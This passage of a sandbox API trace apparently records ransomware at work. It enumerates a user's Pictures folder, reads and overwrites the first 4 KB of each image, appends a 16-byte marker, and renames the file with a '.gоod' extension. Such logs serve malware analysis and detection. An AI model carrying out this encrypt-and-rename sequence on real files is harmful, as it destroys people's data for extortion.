ftLastWriteTime.dwHighDateTime=0x1d4c694, nFileSizeHigh=0x0, nFileSizeLow=0x8db5, dwReserved0=0x0, dwReserved1=0x0, cFileName="oJMAky38Mq0T5w.png", cAlternateFileName="OJMAKY~1.PNG")) returned 1 [0158.268] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d40f60, ftCreationTime.dwHighDateTime=0x1d4d1ab, ftLastAccessTime.dwLowDateTime=0xcf71c0e0, ftLastAccessTime.dwHighDateTime=0x1d4cf7c, ftLastWriteTime.dwLowDateTime=0xcf71c0e0, ftLastWriteTime.dwHighDateTime=0x1d4cf7c, nFileSizeHigh=0x0, nFileSizeLow=0x17894, dwReserved0=0x0, dwReserved1=0x0, cFileName="PnIHgBm.png", cAlternateFileName="")) returned 1 [0158.268] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49604250, ftCreationTime.dwHighDateTime=0x1d4cc67, ftLastAccessTime.dwLowDateTime=0x305737b0, ftLastAccessTime.dwHighDateTime=0x1d4d08f, ftLastWriteTime.dwLowDateTime=0x305737b0, ftLastWriteTime.dwHighDateTime=0x1d4d08f, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ptY4pSuBN4XECBdjn.bmp", cAlternateFileName="PTY4PS~1.BMP")) returned 1 [0158.268] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d7a6b0, ftCreationTime.dwHighDateTime=0x1d4d273, ftLastAccessTime.dwLowDateTime=0xcd252390, ftLastAccessTime.dwHighDateTime=0x1d4d373, ftLastWriteTime.dwLowDateTime=0xcd252390, ftLastWriteTime.dwHighDateTime=0x1d4d373, nFileSizeHigh=0x0, nFileSizeLow=0x3dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ry_7zI.png", cAlternateFileName="")) returned 1 [0158.268] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saved Pictures", cAlternateFileName="SAVEDP~1")) returned 1 [0158.269] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d4bd60, ftCreationTime.dwHighDateTime=0x1d4c74d, ftLastAccessTime.dwLowDateTime=0xd6fd69e0, ftLastAccessTime.dwHighDateTime=0x1d4c775, ftLastWriteTime.dwLowDateTime=0xd6fd69e0, ftLastWriteTime.dwHighDateTime=0x1d4c775, nFileSizeHigh=0x0, nFileSizeLow=0x6862, dwReserved0=0x0, dwReserved1=0x0, cFileName="TZ1SzNcS-gkL2O7NQLC.gif", cAlternateFileName="TZ1SZN~1.GIF")) returned 1 [0158.269] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd8b4260, ftCreationTime.dwHighDateTime=0x1d4c6a9, ftLastAccessTime.dwLowDateTime=0xb4200e0, ftLastAccessTime.dwHighDateTime=0x1d4cfcc, ftLastWriteTime.dwLowDateTime=0xb4200e0, ftLastWriteTime.dwHighDateTime=0x1d4cfcc, nFileSizeHigh=0x0, nFileSizeLow=0x3148, dwReserved0=0x0, dwReserved1=0x0, cFileName="U7t s8nV9Qw.jpg", cAlternateFileName="U7TS8N~1.JPG")) returned 1 [0158.269] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8d84490, ftCreationTime.dwHighDateTime=0x1d4cf14, ftLastAccessTime.dwLowDateTime=0xfc81baa0, ftLastAccessTime.dwHighDateTime=0x1d4cc74, ftLastWriteTime.dwLowDateTime=0xfc81baa0, ftLastWriteTime.dwHighDateTime=0x1d4cc74, nFileSizeHigh=0x0, nFileSizeLow=0x1090d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ujo8uvYPTTgcKxh8thC.png", cAlternateFileName="UJO8UV~1.PNG")) returned 1 [0158.269] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8f2ceb0, ftCreationTime.dwHighDateTime=0x1d4d39f, ftLastAccessTime.dwLowDateTime=0xb1336ad0, ftLastAccessTime.dwHighDateTime=0x1d4cd7d, ftLastWriteTime.dwLowDateTime=0xb1336ad0, ftLastWriteTime.dwHighDateTime=0x1d4cd7d, nFileSizeHigh=0x0, nFileSizeLow=0x14aa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTzc7b0 sow g.jpg", cAlternateFileName="UTZC7B~1.JPG")) returned 1 [0158.269] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1598680, ftCreationTime.dwHighDateTime=0x1d4d00d, ftLastAccessTime.dwLowDateTime=0x67b0d030, ftLastAccessTime.dwHighDateTime=0x1d4d2ed, ftLastWriteTime.dwLowDateTime=0x67b0d030, ftLastWriteTime.dwHighDateTime=0x1d4d2ed, nFileSizeHigh=0x0, nFileSizeLow=0x141bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="x7NKwrN80Q.jpg", cAlternateFileName="X7NKWR~1.JPG")) returned 1 [0158.269] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bec9140, ftCreationTime.dwHighDateTime=0x1d4cdd4, ftLastAccessTime.dwLowDateTime=0x3e7bba30, ftLastAccessTime.dwHighDateTime=0x1d4d064, ftLastWriteTime.dwLowDateTime=0x3e7bba30, ftLastWriteTime.dwHighDateTime=0x1d4d064, nFileSizeHigh=0x0, nFileSizeLow=0x2878, dwReserved0=0x0, dwReserved1=0x0, cFileName="XpYDC.gif", cAlternateFileName="")) returned 1 [0158.270] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f9f99e0, ftCreationTime.dwHighDateTime=0x1d4cf77, ftLastAccessTime.dwLowDateTime=0x6cd06620, ftLastAccessTime.dwHighDateTime=0x1d4d013, ftLastWriteTime.dwLowDateTime=0x6cd06620, ftLastWriteTime.dwHighDateTime=0x1d4d013, nFileSizeHigh=0x0, nFileSizeLow=0xdb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="yOrN7H8.jpg", cAlternateFileName="")) returned 1 [0158.270] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6432a130, ftCreationTime.dwHighDateTime=0x1d4cb32, ftLastAccessTime.dwLowDateTime=0x88ab35b0, ftLastAccessTime.dwHighDateTime=0x1d4d18e, ftLastWriteTime.dwLowDateTime=0x88ab35b0, ftLastWriteTime.dwHighDateTime=0x1d4d18e, nFileSizeHigh=0x0, nFileSizeLow=0x67e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="z7pkCieK zTPKYo.bmp", cAlternateFileName="Z7PKCI~1.BMP")) returned 1 [0158.270] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb822d0, ftCreationTime.dwHighDateTime=0x1d4d2fd, ftLastAccessTime.dwLowDateTime=0xf43cf0, ftLastAccessTime.dwHighDateTime=0x1d4c704, ftLastWriteTime.dwLowDateTime=0xf43cf0, ftLastWriteTime.dwHighDateTime=0x1d4c704, nFileSizeHigh=0x0, nFileSizeLow=0x3ac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZIAqz9g2fz.bmp", cAlternateFileName="ZIAQZ9~1.BMP")) returned 1 [0158.270] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd4579a0, ftCreationTime.dwHighDateTime=0x1d4d396, ftLastAccessTime.dwLowDateTime=0x4cd132e0, ftLastAccessTime.dwHighDateTime=0x1d4cee8, ftLastWriteTime.dwLowDateTime=0x4cd132e0, ftLastWriteTime.dwHighDateTime=0x1d4cee8, nFileSizeHigh=0x0, nFileSizeLow=0x1544c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZkaNc1VKJiUX.gif", cAlternateFileName="ZKANC1~1.GIF")) returned 1 [0158.270] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bce5c10, ftCreationTime.dwHighDateTime=0x1d4c822, ftLastAccessTime.dwLowDateTime=0x6d4f25c0, ftLastAccessTime.dwHighDateTime=0x1d4c841, ftLastWriteTime.dwLowDateTime=0x6d4f25c0, ftLastWriteTime.dwHighDateTime=0x1d4c841, nFileSizeHigh=0x0, nFileSizeLow=0x140d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZyLSVlnM3W8p5P6Agc.gif", cAlternateFileName="ZYLSVL~1.GIF")) returned 1 [0158.270] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bce5c10, ftCreationTime.dwHighDateTime=0x1d4c822, ftLastAccessTime.dwLowDateTime=0x6d4f25c0, ftLastAccessTime.dwHighDateTime=0x1d4c841, ftLastWriteTime.dwLowDateTime=0x6d4f25c0, ftLastWriteTime.dwHighDateTime=0x1d4c841, nFileSizeHigh=0x0, nFileSizeLow=0x140d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZyLSVlnM3W8p5P6Agc.gif", cAlternateFileName="ZYLSVL~1.GIF")) returned 0 [0158.271] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0158.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0158.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0158.271] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\0Bz_Z.jpg", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\0Bz_Z.jpg", lpFilePart=0x0) returned 0x22 [0158.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0158.271] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\0Bz_Z.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\0bz_z.jpg"), fInfoLevelId=0x0, lpFileInformation=0x35a9168 | out: lpFileInformation=0x35a9168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b2b0e00, ftCreationTime.dwHighDateTime=0x1d4c5c8, ftLastAccessTime.dwLowDateTime=0xedeb4d00, ftLastAccessTime.dwHighDateTime=0x1d4d140, ftLastWriteTime.dwLowDateTime=0xedeb4d00, ftLastWriteTime.dwHighDateTime=0x1d4d140, nFileSizeHigh=0x0, nFileSizeLow=0x17ded)) returned 1 [0158.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0158.271] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\0Bz_Z.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\0Bz_Z.jpg", lpFilePart=0x0) returned 0x22 [0158.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0158.271] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\0Bz_Z.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\0bz_z.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0158.271] GetFileType (hFile=0x7fc) returned 0x1 [0158.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0158.271] GetFileType (hFile=0x7fc) returned 0x1 [0158.271] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0158.271] ReadFile (in: hFile=0x7fc, lpBuffer=0x35a94e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x35a94e0*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0158.272] CloseHandle (hObject=0x7fc) returned 1 [0158.272] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\0Bz_Z.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\0Bz_Z.jpg", lpFilePart=0x0) returned 0x22 [0158.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0158.272] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\0Bz_Z.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\0bz_z.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0158.272] GetFileType (hFile=0x7fc) returned 0x1 [0158.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0158.272] GetFileType (hFile=0x7fc) returned 0x1 [0158.272] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x17ded [0158.272] WriteFile (in: hFile=0x7fc, lpBuffer=0x35aa728*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x35aa728*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0158.272] CloseHandle (hObject=0x7fc) returned 1 [0158.272] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\0Bz_Z.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\0Bz_Z.jpg", lpFilePart=0x0) returned 0x22 [0158.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0158.272] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\0Bz_Z.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\0bz_z.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0158.273] GetFileType (hFile=0x7fc) returned 0x1 [0158.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0158.273] GetFileType (hFile=0x7fc) returned 0x1 [0158.273] ReadFile (in: hFile=0x7fc, lpBuffer=0x35ac998, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x35ac998*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0158.350] CloseHandle (hObject=0x7fc) returned 1 [0158.350] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\0Bz_Z.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\0Bz_Z.jpg", lpFilePart=0x0) returned 0x22 [0158.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0158.350] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\0Bz_Z.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\0bz_z.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0158.350] GetFileType (hFile=0x7fc) returned 0x1 [0158.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0158.350] GetFileType (hFile=0x7fc) returned 0x1 [0158.350] WriteFile (in: hFile=0x7fc, lpBuffer=0x34244f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x34244f0*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0158.351] CloseHandle (hObject=0x7fc) returned 1 [0158.351] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\0Bz_Z.jpg", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\0Bz_Z.jpg", lpFilePart=0x0) returned 0x22 [0158.351] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\0Bz_Z.jpg.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\0Bz_Z.jpg.gоod", lpFilePart=0x0) returned 0x27 [0158.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0158.351] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\0Bz_Z.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\0bz_z.jpg"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b2b0e00, ftCreationTime.dwHighDateTime=0x1d4c5c8, ftLastAccessTime.dwLowDateTime=0xedeb4d00, ftLastAccessTime.dwHighDateTime=0x1d4d140, ftLastWriteTime.dwLowDateTime=0x5a99ade0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17dfd)) returned 1 [0158.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0158.351] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\0Bz_Z.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\0bz_z.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\0Bz_Z.jpg.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\0bz_z.jpg.gоod")) returned 1 [0158.351] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\20qf0W39.png", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\20qf0W39.png", lpFilePart=0x0) returned 0x25 [0158.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0158.352] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\20qf0W39.png" (normalized: "c:\\users\\fd1hvy\\pictures\\20qf0w39.png"), fInfoLevelId=0x0, lpFileInformation=0x343f080 | out: lpFileInformation=0x343f080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bea340, ftCreationTime.dwHighDateTime=0x1d4ce5c, ftLastAccessTime.dwLowDateTime=0xdd4225a0, ftLastAccessTime.dwHighDateTime=0x1d4ceb1, ftLastWriteTime.dwLowDateTime=0xdd4225a0, ftLastWriteTime.dwHighDateTime=0x1d4ceb1, nFileSizeHigh=0x0, nFileSizeLow=0x1099c)) returned 1 [0158.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0158.352] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\20qf0W39.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\20qf0W39.png", lpFilePart=0x0) returned 0x25 [0158.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0158.352] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\20qf0W39.png" (normalized: "c:\\users\\fd1hvy\\pictures\\20qf0w39.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0158.352] GetFileType (hFile=0x7fc) returned 0x1 [0158.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0158.352] GetFileType (hFile=0x7fc) returned 0x1 [0158.352] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0158.352] ReadFile (in: hFile=0x7fc, lpBuffer=0x343f418, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x343f418*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0158.352] CloseHandle (hObject=0x7fc) returned 1 [0158.352] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\20qf0W39.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\20qf0W39.png", lpFilePart=0x0) returned 0x25 [0158.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0158.352] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\20qf0W39.png" (normalized: "c:\\users\\fd1hvy\\pictures\\20qf0w39.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0158.353] GetFileType (hFile=0x7fc) returned 0x1 [0158.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0158.353] GetFileType (hFile=0x7fc) returned 0x1 [0158.353] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1099c [0158.353] WriteFile (in: hFile=0x7fc, lpBuffer=0x3440670*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x3440670*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0158.353] CloseHandle (hObject=0x7fc) returned 1 [0158.353] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\20qf0W39.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\20qf0W39.png", lpFilePart=0x0) returned 0x25 [0158.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0158.353] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\20qf0W39.png" (normalized: "c:\\users\\fd1hvy\\pictures\\20qf0w39.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0158.353] GetFileType (hFile=0x7fc) returned 0x1 [0158.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0158.353] GetFileType (hFile=0x7fc) returned 0x1 [0158.353] ReadFile (in: hFile=0x7fc, lpBuffer=0x34428f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x34428f0*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0158.784] CloseHandle (hObject=0x7fc) returned 1 [0158.784] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\20qf0W39.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\20qf0W39.png", lpFilePart=0x0) returned 0x25 [0158.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0158.784] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\20qf0W39.png" (normalized: "c:\\users\\fd1hvy\\pictures\\20qf0w39.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0158.784] GetFileType (hFile=0x7fc) returned 0x1 [0158.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0158.784] GetFileType (hFile=0x7fc) returned 0x1 [0158.784] WriteFile (in: hFile=0x7fc, lpBuffer=0x3412c58*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x3412c58*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0158.784] CloseHandle (hObject=0x7fc) returned 1 [0158.784] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\20qf0W39.png", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\20qf0W39.png", lpFilePart=0x0) returned 0x25 [0158.784] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\20qf0W39.png.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\20qf0W39.png.gоod", lpFilePart=0x0) returned 0x2a [0158.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0158.784] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\20qf0W39.png" (normalized: "c:\\users\\fd1hvy\\pictures\\20qf0w39.png"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bea340, ftCreationTime.dwHighDateTime=0x1d4ce5c, ftLastAccessTime.dwLowDateTime=0xdd4225a0, ftLastAccessTime.dwHighDateTime=0x1d4ceb1, ftLastWriteTime.dwLowDateTime=0x5adc2f8f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x109ac)) returned 1 [0158.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0158.784] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\20qf0W39.png" (normalized: "c:\\users\\fd1hvy\\pictures\\20qf0w39.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\20qf0W39.png.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\20qf0w39.png.gоod")) returned 1 [0158.785] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\26eTmdX7PXkDqUA.bmp", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\26eTmdX7PXkDqUA.bmp", lpFilePart=0x0) returned 0x2c [0158.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0158.785] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\26eTmdX7PXkDqUA.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\26etmdx7pxkdqua.bmp"), fInfoLevelId=0x0, lpFileInformation=0x3620578 | out: lpFileInformation=0x3620578*(dwFileAttributes=0x20, 